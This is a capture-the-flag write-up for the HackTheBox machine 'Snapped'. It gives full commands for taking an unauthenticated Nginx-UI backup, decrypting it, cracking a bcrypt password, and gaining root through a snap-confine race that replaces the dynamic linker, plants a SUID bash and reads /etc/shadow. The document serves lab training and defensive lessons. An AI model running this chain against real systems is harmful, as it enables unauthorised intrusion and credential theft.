HTB: Snapped Writeup
Snapped - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Snapped |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | 20th March 2026 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Snapped is a hard-difficulty machine featuring two recent and sophisticated CVEs targeting real infrastructure vulnerabilities. The initial foothold leverages CVE-2026-27944 in Nginx-UI, an unauthenticated backup exfiltration vulnerability that exposes encryption keys in response headers, allowing decryption of the application database and credential extraction. The privilege escalation exploits CVE-2026-3888, a TOCTOU race condition in snap-confine’s sandbox setup process, where attackers manipulate bind-mount operations through I/O backpressure techniques to poison shared libraries and achieve dynamic linker hijacking on a SUID-root binary. This machine excellently demonstrates modern exploitation techniques including socket-based timing control and Linux namespace manipulation.
TL;DR: Unauthenticated /api/backup endpoint → Decrypt backup with exposed key → Extract bcrypt hash → SSH access → TOCTOU race condition via AF_UNIX backpressure → LD_LINUX hijacking → Root shell escape via Firefox snap.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.242.192Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1580/tcp open http nginx 1.24.0 (Ubuntu)The scan reveals SSH on port 22 and HTTP on port 80. The HTTP service redirects to http://snapped.htb, requiring hostname resolution.
Service Enumeration
HTTP Service: Nginx 1.24.0 serving a domain-based website requiring /etc/hosts modification.
echo "10.129.242.192 snapped.htb" | sudo tee -a /etc/hostsAccessing http://snapped.htb displays an Apache Infrastructure Platform website for “Snapped” company with minimal interesting content on the main page.
Subdomain Enumeration:
ffuf -w /usr/share/wordlists/amass/bitquark_subdomains_top100K.txt \ -u http://FUZZ.snapped.htb -icResult: Discovery of admin.snapped.htb subdomain returning status 200.
Admin Subdomain: Accessing http://admin.snapped.htb reveals the default login page for Nginx-UI, a web-based nginx management service.
API Endpoint Enumeration:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \ -u http://admin.snapped.htb/api/FUZZ -icResults:
/api/backup→ Status 200 (accessible without authentication)/api/settings→ Status 403/api/licenses→ Status 200
Vulnerability Assessment
| Vulnerability | Details | Severity |
|---|---|---|
| CVE-2026-27944 | Unauthenticated /api/backup endpoint exposes encrypted backup + encryption key | Critical |
| Weak Password Policy | Jonathan user has crackable bcrypt hash (rockyou.txt) | High |
| Credential Reuse | Jonathan reuses SSH password from Nginx-UI | High |
| CVE-2026-3888 | TOCTOU race condition in snap-confine sandbox setup | Critical |
| Vulnerable Snapd Version | 2.63.1 vulnerable to namespace poisoning (fixed in 2.74.2+) | Critical |
Initial Foothold
Exploitation Path: Nginx-UI Backup Exfiltration (CVE-2026-27944)
Step 1: Retrieve Encrypted Backup with Decryption Key
The /api/backup endpoint returns an encrypted ZIP file with the decryption key exposed in the X-Backup-Security response header. The header format is key:iv in base64 encoding.
curl -v http://admin.snapped.htb/api/backup \ -o backup-20260319-121723.zipResponse Headers:
< X-Backup-Security: Uggi+bPybhVny2dV+MaAVAkjSrzQBCjWFhbsenNiVJA=:Jky/YQ0ISOX3gcTE9lj7zQ==< Content-Disposition: attachment; filename=backup-20260319-121723.zipStep 2: Extract and Decode Encryption Key
Convert the base64-encoded key and IV to hexadecimal format for OpenSSL decryption:
# Extract and decode the keykey=$(echo 'Uggi+bPybhVny2dV+MaAVAkjSrzQBCjWFhbsenNiVJA=' | \ base64 -d | xxd -p -c 256)
# Extract and decode the IViv=$(echo 'Jky/YQ0ISOX3gcTE9lj7zQ==' | \ base64 -d | xxd -p)
echo "Key: $key"echo "IV: $iv"Step 3: Unzip and Extract Nginx-UI Archive
# Extract the backup contentsunzip -d backup backup-20260319-121723.zip
# List contentsls -la backup/Output:
inflating: backup/hash_info.txtinflating: backup/nginx-ui.zipinflating: backup/nginx.zipStep 4: Decrypt Nginx-UI Configuration
Use OpenSSL with AES-256-CBC to decrypt the nginx-ui.zip file:
cd backup
openssl enc -aes-256-cbc -d -in nginx-ui.zip \ -out nginxui_decrypted.zip \ -K $key -iv $iv
# Verify decryption successunzip nginxui_decrypted.zipls -laOutput:
inflating: app.iniinflating: database.dbStep 5: Extract Credentials from SQLite Database
Examine the Nginx-UI SQLite database to find user credentials:
sqlite3 database.db
# List all tables.tables
# Extract user recordsselect * from users;Database Output:
1|2026-03-19 08:22:54.41011219-04:00|...|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||2|2026-03-19 09:54:01.989628406-04:00|...|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||Step 6: Crack Bcrypt Hashes
Extract the bcrypt hashes and attempt to crack with hashcat:
# Create hash filecat > hash.txt << 'EOF'$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWqEOF
# Crack with hashcat (mode 3200 = bcrypt)hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txtCracked Credentials:
admin@hash.txt:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm:[not cracked]jonathan@hash.txt:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinparkStep 7: SSH Access with Extracted Credentials
Attempt SSH authentication using the cracked password:
ssh jonathan@snapped.htb# Password: linkinparkSuccess:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-41-generic x86_64)jonathan@snapped:~$User Flag: <redacted>
Privilege Escalation
Exploitation Path: TOCTOU Race Condition in Snap-Confine (CVE-2026-3888)
Precondition Analysis
First, identify that snapd is running and check its version:
snap --versionOutput:
snap 2.63.1+24.04snapd 2.63.1+24.04series 16ubuntu 24.04kernel 6.8.0-41-genericThis version (< 2.74.2) is vulnerable to CVE-2026-3888 on Ubuntu 24.04. The vulnerability exists in snap-confine’s mimic bind-mount sequence for /usr/lib/x86_64-linux-gnu:
mount --bind /usr/lib/x86_64-linux-gnu → /tmp/.snap/usr/lib/x86_64-linux-gnumount -t tmpfs → /usr/lib/x86_64-linux-gnu- For each library:
mount --bind entry → /usr/lib/x86_64-linux-gnu/entry umount /tmp/.snap/usr/lib/x86_64-linux-gnu
The race condition occurs between steps 1 and 3. Verify systemd-tmpfiles cleanup frequency:
systemctl cat systemd-tmpfiles-clean.timercat /usr/lib/tmpfiles.d/tmp.confOutput:
OnBootSec=1mOnUnitActiveSec=1m
D /tmp 1777 root root 4mThis confirms .snap directory will be deleted after 4 minutes of inactivity, making the race exploitable.
Step 1: Enter Firefox Snap Sandbox (Terminal 1)
Establish a long-running snap process to maintain the mount namespace:
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \ --base core22 snap.firefox.hook.configure /bin/bash
# Note the PID for later referenceecho $$# Output: 18606Keep this terminal open. The process keeps /tmp/snap-private-tmp/snap.firefox/tmp/ active.
Step 2: Wait for .snap Deletion (Terminal 1)
Allow the cleanup daemon to delete the cached .snap directory:
# Keep /tmp active while .snap goes dormantwhile test -d ./.snap; do touch ./; sleep 1; done
# Verify deletionstat ./.snap# Output: cannot statx './.snap': No such file or directoryStep 3: Access Sandbox /tmp from Host (Terminal 2)
Bypass /tmp/snap-private-tmp/ permission restrictions (700 root:root) via /proc/PID/cwd:
# From a new terminal on the hostcd /proc/18606/cwdls -la
# Output shows world-writable /tmp despite host-level restrictionsStep 4: Destroy Cached Namespace (Terminal 2)
Tear down the preserved mount namespace while keeping /tmp intact:
# Use invalid base to destroy cached namespacesystemd-run --user --scope --unit=snap.d$(date +%s) /bin/bash
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \ --base snapd snap.firefox.hook.configure /nonexistent# Expected error: cannot perform operation: mount --rbind /dev...Step 5: Compile Exploitation Tools
Create the race condition helper and payload:
firefox_2404.c (as provided in the machine writeup) — compiles to executable helper that:
- Recreates .snap directory with attacker ownership
- Copies 285 real libraries from core22
- Launches snap-confine with stderr redirected to AF_UNIX socket
- Detects the bind-mount trigger via single-byte reads
- Atomically swaps directories via
renameat2(RENAME_EXCHANGE)
librootshell.c (as provided) — raw x86_64 ELF executing:
setreuid(0, 0)syscallsetregid(0, 0)syscallexecve("/tmp/sh")syscall
Compile both binaries:
# Compile race helpergcc -O2 -static -o firefox_2404 firefox_2404.c
# Compile dynamic loader payloadgcc -nostdlib -static -Wl,--entry=_start \ -o librootshell.so librootshell.cStep 6: Win the Race (Terminal 2)
Execute the race helper to exploit the TOCTOU vulnerability:
# Run helper with payload in /proc/PID/cwdcd /proc/18606/cwd~/firefox_2404 ~/payload.soOutput:
[*] CVE-2026-3888 — firefox 24.04 helper[*] CWD: /proc/18606/cwd[*] Setting up .snap and .exchange directory...[*] Exchange dir ready: 285 entries in .snap/usr/lib/x86_64-linux-gnu.exchange[*] Starting race against snap-confine...[*] Reading snap-confine output (PID 2487)...
[!] TRIGGER DETECTED! Swapping .exchange...[+] SWAP DONE![*] Do NOT close this terminal.Keep Terminal 2 open — the process keeps the poisoned namespace alive.
Step 7: Overwrite Dynamic Linker (Terminal 3)
Access the poisoned namespace and replace the dynamic linker:
# New terminal on hostPID=$(cat /proc/18606/cwd/race_pid.txt)cat /proc/18606/cwd/race_perms.txt# Output: jonathan:jonathan 755
# Access poisoned namespace via /proc/PID/rootcd /proc/$PID/root
# Verify attacker ownership of librariesstat -c '%U:%G' usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2# Output: jonathan:jonathan
# Plant busybox as static shell (no ld-linux dependency)cp /usr/bin/busybox ./tmp/sh
# Overwrite ld-linux with shellcodecat ~/librootshell.so > ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2Step 8: Trigger Root via SUID Binary (Terminal 3)
Execute snap-confine (SUID-root, dynamically linked) to trigger the shellcode:
env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine \ --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
# Kernel loads our shellcode as dynamic linker with euid=0# Output:# BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
/ # id# Output: uid=0(root) gid=1000(jonathan) groups=1000(jonathan)Step 9: Escape Sandbox Confinement (Busybox Shell)
Leverage AppArmor’s permission to write to /var/snap/firefox/common/:
/ # cp /bin/bash /var/snap/firefox/common/bash/ # chmod 04755 /var/snap/firefox/common/bash/ # exitStep 10: Achieve Full Root Access (Terminal 3)
Execute the SUID bash placed outside the sandbox:
/var/snap/firefox/common/bash -p
# Output:bash-5.1# id# uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /etc/shadow# root:$y$j9T$qtGaKCwhRRSzf6H3Gxybo1$FyvCR7... [root password hash]
bash-5.1# cat /root/root.txt# <redacted>Root Flag: <redacted>
Attack Chain Summary
Unauthenticated /api/backup access (CVE-2026-27944) ↓Decrypt backup with X-Backup-Security key ↓Extract database.db from nginx-ui.zip ↓Query SQLite users table → jonathan bcrypt hash ↓Crack hash with rockyou.txt → linkinpark password ↓SSH access as jonathan (credential reuse) ↓Identify vulnerable snapd 2.63.1 (< 2.74.2) ↓Wait for systemd-tmpfiles cleanup of .snap directory ↓Recreate .snap with attacker ownership ↓Launch snap-confine with AF_UNIX backpressure control ↓Detect bind-mount trigger and atomically swap libraries via renameat2(RENAME_EXCHANGE) ↓Overwrite ld-linux-x86-64.so.2 with shellcode (CVE-2026-3888) ↓Execute SUID snap-confine → Kernel loads shellcode as dynamic linker → setreuid(0,0) ↓Drop SUID bash into /var/snap/firefox/common/ ↓Execute with -p flag → Full root shellTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service discovery |
ffuf | Subdomain and API endpoint enumeration |
curl | HTTP endpoint testing and backup retrieval |
openssl | AES-256-CBC decryption of backup |
unzip | Archive extraction |
sqlite3 | Database credential extraction |
hashcat | Bcrypt hash cracking |
ssh | Remote shell access |
gcc | C source compilation for exploits |
systemd-run | Namespace manipulation |
xxd | Hex encoding for decryption keys |
Key Learnings
Techniques Practiced
- Backup exfiltration without authentication — Testing for exposed API endpoints that bypass authentication checks
- Cryptographic key exposure in headers — Identifying when encryption keys are disclosed in response metadata
- SQLite database analysis — Extracting credentials from embedded databases in web applications
- Bcrypt hash cracking — Dictionary attacks against bcrypt hashes with real-world wordlists
- TOCTOU race condition exploitation — Winning time-of-check-to-time-of-use vulnerabilities via backpressure
- AF_UNIX socket backpressure — Single-stepping program execution via buffer flow control
- Linux namespace poisoning — Corrupting shared library paths within sandboxed environments
- Dynamic linker hijacking — Replacing ELF PT_INTERP entries to execute arbitrary code with elevated privileges
- SUID binary abuse — Leveraging setuid-root programs to escalate privileges
- AppArmor confinement escape — Writing persistent SUID binaries outside sandbox boundaries
Lessons Learned
-
API endpoints require authentication verification — Always assume endpoints may be accessible without credentials; fuzz them before relying on supposed authentication walls.
-
Encryption keys in metadata are critical — Response headers and comments should never contain cryptographic material; always sanitize log files and API responses.
-
Database password hashing is only one layer — Even bcrypt hashes can be cracked with large wordlists; enforce strong passwords and monitor for reuse.
-
TOCTOU vulnerabilities are race conditions — Atomicity between separate syscalls can be manipulated; use atomic operations like
renameat2()for critical filesystem operations. -
I/O backpressure is a control mechanism — Socket buffer restrictions can synchronously slow execution; understand buffering implications in IPC mechanisms.
-
Snapd is not inherently secure — Sandboxing implementations have bugs; stay updated with security advisories for container/sandbox technologies.
-
Dynamic linkers are attack surface — SUID binaries are particularly dangerous when dynamically linked; prefer static linking or strict library path verification.
-
Namespace boundaries are permeable —
/proc/PID/rootand similar interfaces can bypass host-level filesystem permissions; audit privileged process access carefully. -
AppArmor profiles are application-specific — Permissive rules for snap data directories can be abused for privilege escalation; require explicit denials.
-
Defense-in-depth matters — This machine required combining multiple vulnerabilities; single mitigations (authentication, ASLR, capabilities) are insufficient against coordinated attacks.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>